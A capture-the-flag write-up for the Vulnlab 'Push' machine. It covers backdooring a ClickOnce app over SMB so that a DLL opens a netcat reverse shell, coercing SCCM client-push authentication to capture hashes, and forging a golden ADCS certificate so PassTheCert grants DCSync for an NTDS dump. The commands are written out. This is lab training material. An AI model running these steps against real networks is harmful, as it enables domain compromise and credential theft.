Push - Writeup (Vulnlab)
1 | ██████╗░██╗░░░██╗░██████╗██╗░░██╗ |
❄️ NMAP & INFO
1 | Backdooring a ClickOnce deployment, which led to code execution. SCCM Client Push Coercion to capture NTLM hashes, privesc using ADCS by forging a certificate and abusing it with PassTheCert to grant DCSync rights. |
DC01.push.vl
1 | 53/tcp open domain Simple DNS Plus |
MS01.push.vl
1 | 21/tcp open ftp Microsoft ftpd (anonymous login allowed) |
❄️ FOOTHOLD
In our basic recon, I found that the IP address 10.10.217.101 corresponds to the Domain Controller DC01.push.vl. The second IP address, 10.10.217.102, resolves to MS01.push.vl.
I tried bruteforcing for valid users with kerbrute, but had no luck:
With nothing else immediately promising, I decided to focus on MS01, since NMAP shows that the FTP service allows ANONYMOUS login.
MS01 | FTP | Anonymous
We log in as the anonymous user on MS01 FTP service, and we see four directories available:
1 | ftp [email protected] |
Three of the folders are empty, except for the .git-credentials. We download it and recover credentials for olivia.wood.
SMB Enum | olivia.wood
I enumerate shares and permissions using netexec and get the following:
The wwwroot share on MS01 has read/write permissions. I connect to it using smbclient.py
:
1 | smbclient.py push.vl/olivia.wood:'<REDACTED>'@10.10.217.102 |
Here is what I get when I list the contents. At first glance, there’s a folder named SelfService_1_0_0_5
, and inside it, we find several .deploy
files along with some DLLs..
Looks like this could be the deployed version of some .NET application and possibly the one running on the web interface.
If I quickly check and create a file called testing.html
with the text “pepe”, I should be able to see it reflected on port 80. Let’s see:
❄️ What is ClickOnce?
ClickOnce is a Microsoft deployment technology that allows users to install and run applications directly from a browser with a single click, without needing admin privileges. It’s often used in enterprise environments, but can also be abused to execute malicious code.
If I check the last-run.txt
, I can see the execution time updates. First it shows 4:41, then 4:45, confirming the app logs each run.
Based on the initial hints, this blog post can help us backdoor the ClickOnce app served over SMB. A user runs it every 3 o 4 minutes, so once modified, it should execute shortly after.
ClickOnce Abuse
According to the blog and summarizing the steps, here’s what we need to do to make it work.
I mounted the share under /mnt/ctf/
to work more comfortably.
First, we patch the
SelfService.dll.deploy
with our payload and calculate its new SHA256 hash and size.Second, we update the
SelfService.dll.manifest
with those values, remove thepublisherIdentity
and signature block, and set thepublicKeyToken
to all zeroes.Finally, we update the
SelfService.application
manifest in the same way, adjusting the hash and size of the.manifest
, and stripping the signature stuff there too.
Once that’s done, the app should execute our modified DLL without complaining.
Let’s go with our payload:
1 |
|
This drops nc.exe
into C:\ProgramData\
and runs it to establish a reverse shell to our listener.
We compile it as a DLL using:
1 | x86_64-w64-mingw32-gcc -o SelfService.dll.deploy SelfService.c -shared |
Then.. we calculate the SHA256 digest and update both the hash and the file size in the SelfService.dll.manifest
:
1 | openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64 |
Now we need to replace the publicKeyToken=
found in <asmv1:assemblyIdentity
with 16 zeroes:
We also need to update the DigestValue
and size for SelfService.dll.manifest
inside the SelfService.application
file, and set the publicKeyToken
to all zeroes:
1 | openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64 |
Once that’s done, all that’s left is to upload the modified files and start our netcat listener along with a simple python http server.
Then just wait two minutes in my case.. and..
And there it is..we got a shell! :). We’re now inside as kelly.hill
user, running from the ClickOnce path under AppData\Local\Apps
.
Kelly.Hill | flag.txt
Now, if we move into kelly’s home directory, we find a similar situation: there’s a .git-credential
file, and by reading it, we can extract her password.
And we get our flag.txt:
1 | PS C:\users\kelly.hill\Desktop> type flag.txt |
Bloodhound Time
After some enum, kelly.hill has pretty limited permissions. She’s part of basic groups like Users
, Remote Desktop Users
, and staff
, nothing elevated. No admin rights, and just default privileges.
But.. some interesting with sccadmin shows up as a local admin, but I don’t have access to its home folder or permissions. Definitely a “key” user!.
❄️ SCCM | System Center Configuration Manager
Let’s pause for a second and give some quick context for those not familiar.
SCCM is a Microsoft tool used a lot in corporate environments. Basically, it helps IT teams manage all the devices in a network, like pushing software, deploying updates, applying policies, or even controlling some access.
If you’re inside a company and your PC suddenly installs stuff or changes config without you touching anything… yeah!, that’s probably SCCM doing its thing :D.
SCCM Coercion Attack
A good reference for this is the following post:
https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
We are going to try an SCCM coercion to steal a hash. With SharpSCCM we can trigger a Client Push Installation and force the SCCM service account to authenticate to us. That account usually has local Admin Rights!.
1 | .\SharpSCCM.exe invoke client-push -t 10.8.0.147 -sc HQ0 -mp DC01.push.vl |
After running the coercion with SharpSCCM, we instantly capture the hashes for sccadmin:
Now we just need to crack it with hashcat:
SCCADMIN | flag.txt
Nice the password is cracked and now we can log in as sccadmin and cat the flag from the Administrator’s desktop:
1 | PS C:\users\Administrator> type Desktop\flag.txt |
❄️ ADCS | Golden Certificate
Looking a bit closer at the BloodHound graph, we can clearly see that ADCS is present!
Since we have RDP access as sccadmin
, we can start enumerating the Certification Authority from inside to see what we can do with it…
At this point we’ve got admin access on the CA server, so we’re in a really good spot!!.
The move here is going for a Golden Certificate. Since we can dump the CA cert and its private key, that gives us the power to forge a legit certificate for any user, even a domain admin.
After checking Certipy’s post-exploitation guide from their official wiki (https://github.com/ly4k/Certipy/wiki/07-Post-Exploitation), we can do this pretty easily:
We’ll use Certipy to back up the CA certificate and its private key.
1 | certipy ca -u sccadmin -p '<REDACTED>' -ns 10.10.217.102 -target-ip MS01.push.vl -backup |
Now that we have the certificate and private key, we can generate a forged cert with domain admin privileges:
1 | certipy forge -ca-pfx CA.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL' |
Issues? What went wrong?
1 | certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.217.101 |
So, what’s the deal here?.. Even though we managed to forge the Golden Certificate just fine, when trying to request a TGT using PKINIT… nothing!!. Looks like the DC doesn’t support PKINIT.
PKINIT is a Kerberos extension that lets you use X.509 certificates for pre-auth. It’s super handy because it allows us to get a TGT or even the NT hash of a user just by using a certificate, no password needed :). But yeah, that option’s off the table! :(
There’s a great post that explains this kind of situation, where PKINIT isn’t supported https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html, but you still have the cert. I’m going to use PassTheCert (https://github.com/AlmondOffSec/PassTheCert/tree/main/Python) to give DCSync rights to sccadmin.
❄️ ROOTED
I extracted the cert and key from the forged PFX file, then used PassTheCert to give DCSync rights to sccadmin
. With that in place, I dumped the NTDS and hash for administrator
access!.
1 | certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt |
1 | passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain push.vl -dc-ip 10.10.217.101 -target sccadmin -elevate |
1 | nxc smb 10.10.217.101 -u 'SCCADMIN' -p '<REDACTED>' --ntds --user administrator |
Flag captured, box pwned!,
Thanks for reading.
❄️ References
- https://www.thehacker.recipes/a-d/movement/sccm-mecm
- https://github.com/AlmondOffSec/PassTheCert/tree/main/Python
- https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
- https://kerberos.mit.narkive.com/tROfmRPz/pkinit-with-active-directory
- https://www.hackingarticles.in/domain-persistence-golden-certificate-attack/